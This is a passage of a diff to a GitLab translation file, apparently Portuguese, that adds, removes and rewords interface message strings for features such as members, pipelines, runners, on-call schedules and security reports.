msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "Não foi possível guardar a ordem dos problemas"
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr "As listas de objetivos mostram todos os problemas do objetivo selecionad
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "O objetivo %{milestoneTitle} não foi encontrado"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "Reabrir objetivo"
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
